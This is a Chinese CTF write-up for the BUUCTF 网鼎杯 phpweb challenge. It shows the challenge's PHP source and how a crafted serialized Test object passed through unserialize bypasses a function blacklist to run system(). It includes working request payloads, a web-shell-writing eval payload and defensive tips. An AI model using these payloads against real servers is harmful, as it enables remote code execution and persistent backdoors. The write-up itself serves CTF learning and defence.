手把手教你绕过PHP黑名单:BUUCTF网鼎杯phpweb题目的反序列化利用实战 PHP黑名单绕过实战从代码审计到反序列化利用在CTF竞赛中PHP安全题目常常设置各种函数黑名单来限制选手的操作空间。面对这种情况如何找到突破口并成功执行任意命令是每个参赛者都需要掌握的核心技能。本文将从一个典型的CTF题目出发详细解析如何通过反序列化漏洞绕过PHP函数黑名单限制。1. 题目环境分析与初步探测当我们首次接触这个PHP题目时发现页面每隔5秒会自动刷新。通过抓包工具观察网络请求可以注意到每次刷新都会传递两个POST参数func和p。这种设计暗示着后端可能存在动态函数调用的机制。初步测试表明直接尝试执行系统命令的函数如eval、system、assert等都被拦截了。但有趣的是file_get_contents函数却可以正常工作这让我们成功读取到了index.php的源代码?php $disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source, phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg, assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function, filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents); function gettime($func, $p) { $result call_user_func($func, $p); $a gettype($result); if ($a string) { return $result; } else {return ;} } class Test { var $p Y-m-d h:i:s a; var $func date; function __destruct() { if ($this-func ! ) { echo gettime($this-func, $this-p); } } } $func $_REQUEST[func]; $p $_REQUEST[p]; if ($func ! null) { $func strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die(Hacker...); } } ?2. 代码审计与漏洞定位仔细分析源代码后我们可以识别出几个关键点黑名单机制$disable_fun数组包含了大量危险的函数名称任何直接调用这些函数的尝试都会被拦截。函数调用流程用户通过func参数指定要调用的函数通过p参数传递函数参数调用gettime()函数处理请求gettime()内部使用call_user_func执行函数调用Test类这个类定义了两个属性$p和$func并在__destruct魔术方法中调用了gettime函数。关键发现虽然直接调用黑名单函数会被拦截但如果能控制Test类的属性并通过反序列化触发__destruct方法就能绕过黑名单检查。3. 反序列化漏洞利用3.1 反序列化基本原理PHP的反序列化过程可以将序列化的字符串重新转换为PHP对象。在这个过程中如果类定义了魔术方法如__destruct、__wakeup等这些方法会在适当的时候自动执行。在我们的题目中可以利用unserialize函数来触发Test类的__destruct方法从而绕过直接函数调用的黑名单限制。3.2 构造恶意序列化字符串我们需要构造一个Test类的实例并将其序列化为字符串?php class Test{ var $func system; var $p whoami;pwd;ls -lha ./; } $res new Test(); echo serialize($res); ?执行上述代码会生成以下序列化字符串O:4:Test:2:{s:4:func;s:6:system;s:1:p;s:21:whoami;pwd;ls -lha ./;}3.3 组合利用链现在我们可以通过以下方式触发漏洞将func参数设置为unserialize将p参数设置为我们构造的恶意序列化字符串这样调用链如下unserialize() → Test对象 → __destruct() → gettime() → call_user_func(system, whoami)通过这种方式我们成功绕过了黑名单限制执行了system函数。4. 实战操作与Flag获取在实际操作中我们可以使用Burp Suite等工具发送精心构造的POST请求POST /target.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:19:find / -name *flag*;}如果服务器响应中包含命令执行结果但未直接显示flag位置可以进一步探测funcunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:22:cat /tmp/flagoefiu4r93;}5. 防御措施与安全建议虽然这种攻击手法在CTF中很有效但在实际开发中我们需要采取以下措施来防范类似漏洞严格限制反序列化操作尽量避免在代码中使用unserialize函数特别是处理用户输入时。使用白名单替代黑名单黑名单很容易被绕过应该使用白名单机制限制可调用的函数。魔术方法的安全使用在__destruct、__wakeup等魔术方法中避免执行敏感操作。输入验证与过滤对所有用户输入进行严格验证和过滤。使用安全的替代方案如必须使用反序列化考虑使用JSON等更安全的格式。6. 扩展思考与技巧在实际CTF比赛中这种反序列化技巧可以与其他漏洞结合使用结合文件操作当无法直接执行命令时可以尝试读取或写入文件。利用PHP特性如使用php://filter协议读取文件内容。链式利用结合多个类的魔术方法构造更复杂的利用链。绕过WAF通过编码、混淆等方式绕过Web应用防火墙的检测。// 一个更隐蔽的Payload示例 class Test { var $func system; var $p echo ?php eval(\$_POST[1]);? shell.php; }7. 工具与资源推荐为了提高效率可以准备一些常用工具和脚本PHP序列化生成器快速生成各种Payload。Burp Suite插件如PHP Object Injection Scanner。自定义脚本自动化测试和利用过程。在线资源PHP官方文档中的安全章节OWASP PHP安全指南知名CTF平台的writeup集合在实际渗透测试中这种技术还可以用于以下场景内容管理系统(CMS)的插件漏洞利用反序列化导致的远程代码执行(RCE)框架特定组件的安全绕过